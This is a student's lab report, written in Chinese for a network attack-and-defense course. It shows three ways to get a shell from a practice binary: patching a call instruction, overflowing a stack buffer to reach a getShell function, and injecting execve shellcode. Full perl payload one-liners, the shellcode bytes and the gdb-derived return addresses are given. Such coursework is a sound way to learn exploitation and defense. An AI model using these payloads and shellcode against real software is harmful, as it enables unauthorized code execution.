20192411 2021-2022-2 《网络与系统攻防技术》实验一实验报告
20192411 2021-2022-2 《网络与系统攻防技术》实验一实验报告
1.实验内容
这周学习了缓冲区溢出攻击,针对pwn1(我修改为pwn20192411)这个可执行文件,先后用了三种方法来获取到一个可用的Shell。
pwn20192411程序的正常执行流程很简单:main函数调用foo函数,而foo函数会回显任何用户输入的字符串。但这个程序中还包含了另一个getShell代码片段,会返回一个可用的Shell。而前两种方法就是利用这个代码片段来获取到可以用的Shell,第三种方法就是注入Shellcode。
三个缓冲区溢出攻击的方法:
- 利用getShell代码片段,手工修改pwn20192411,改变其执行流程,直接跳转到getShell函数。
- 通过foo函数的Bof漏洞,构造出一个攻击输入字符串,从而覆盖返回地址,触发getShell函数。
- 通过foo函数的Bof漏洞,注入一个自己制作的shellcode并运行。
2.实验过程
-
直接修改程序机器指令,改变程序执行流程
首先利用objdump对pwn20192411进行反汇编
objdump -d pwn20192411 | more
如图所示,可以看到main函数中调用了foo函数。
即80484b5:e8 d7 ff ff ff call 8048491
"call 8048491 "是汇编指令,意思就是这条指令将调用位于地址8048491的foo函数,“e8 d7ffffff”是机器指令,e8即跳转之意。
同时也可以看到getShell函数的存在,所以我们就可以直接修改程序,将调用的地址改为getShell的基地址,程序流程就被我们改变了。
有了思路后,就要确定我们所要的地址。这时候EIP的值是下条指令的地址,即80484ba,CPU会执行“EIP + d7ffffff”这个位置的指令。d7ffffff是补码,表示偏移量为-29,80484ba+ffffffd7=8048491即为foo函数的地址。
故我们只要修改“d7ffffff”,改为"getShell-80484ba"对应的补码就行。47d-4ba就能得到补码,即c3ffffff。
下面就开始修改操作。
用vim打开pwn20192411:
vi pwn20192411
再用如下命令将显示模式改为16进制模式:
:%!xxd
查找要修改的内容:
/d7
将目标d7修改为c3:
转换16进制为原格式:
:%!xxd -r
保存退出vi:
:wq
修改完后,再用objdump反汇编查看一下call是否调用getShell:
然后运行改后的程序,发现成功运行:
-
通过构造输入参数,造成BOF攻击,改变程序执行流
首先还是用objdump反汇编了解一下程序的基本功能即执行流程:
可以发现在foo函数中给输入的数据分配了0x1c(28字节)的空间,接着就需要确认输入字符串哪几个字符可以覆盖返回地址。
如果输入字符串1111111122222222333333334444444412345678,可以看到eip寄存器中值为4321,为小端字节序,所以我们要输入getShell首地址即7d 84 04 08.
接着就要构造输入的字符串,因为我们不能直接输入二进制数据,所以需要利用perl语言生成包括我们要的字符串的一个文件。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
构造完后,可以用16进制查看指令xdd查看input文件的内容:
接着将input通过管道符”|“作为pwn20192411的输入,从而成功进入getShell:
也可以不构造input,即不生成文件直接输入:
-
注入Shellcode并执行
前两种方法都是利用程序中本身带有的getShell函数,但实际情况中程序一般不会有这种函数存在。这时候就需要用到注入Shellcode这样的方法来实现我们的目的。
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
在开始之前,需要进行一些准备工作:
完成准备工作后,需要构造要注入的payload。
在Linux中,有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
这次实验我们构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
再用perl语言构造输入文件input_shellcode:
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
由于我们还需要确定前四字节即返回地址,所以暂且用\x1\x2\x3\x4填充。
首先打开一个终端注入这段字符串:
(cat input_shellcode;cat) | ./pwn20192411
再打开另一个终端,用如下命令找到pwn20192411的进程号:
ps -ef | grep pwn20192411
这里我得到的进程号为4045,接着用gdb调试进程确定地址,如图:
通过调试可以确定将返回地址改为ff ff d4 f0就可以。接着就利用perl语言将\x1\x2\x3\x4改为\xf0\xd4\xff\xff,重新构造输入文件:
perl -e 'print "A" x 32;print "\xf0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
接着重新运行程序,得到结果如图:
可以看到已经成功获得了Shell。
- shellcode就是一段机器指令(code)
3.问题及解决方案
-
问题1:在第一个实践中,改完数据没转换为原格式,直接存盘退出导致程序无法运行。
-
问题1解决方案:一开始重新用vim打开然后转换回原格式,然后退出,发现程序仍然无法运行,格式已经改不回去,于是利用备份再度修改,然后注意顺序,先转换回原格式,再保存退出。
-
问题2:在第三个实践的准备工作中,发现没法使用execstack。
-
问题2解决方案:通过搜索发现需要安装execstack,kali是Debian的发行版,所以选择了对应的版本进行下载。下载后用apt命令完成安装后即可使用。
apt install ./execstack_0.0.20131005-1+b10_amd64.deb
4.学习感悟、思考等
这次实验让我了解了缓冲区溢出攻击,通过王老师的课堂讲解以及刘老师的网课和博客,我学习完成了这个最简单的缓冲区溢出攻击实验。除此之外,我对汇编的一些知识也有了一定的了解,对堆栈也有了更深的认识。虽然这些内容很抽象,但通过网课画图及实践的过程,这些抽象的概念也没那么抽象了。
当然,这次实验比较简单的原因是老师为我们准备好了很多东西。比如Shellcode,如果要自己编写Shellcode,实现其他的功能,就需要更多的学习。同时我也认识到实际情况中的攻击行为是很难的,这次实验准备工作中将地址随机化和堆栈保护都关闭了,而实际中这些是不会为我们关闭的。
最后感谢两位老师及同学对我的帮助和讲解,帮助我成功完成了这次实验。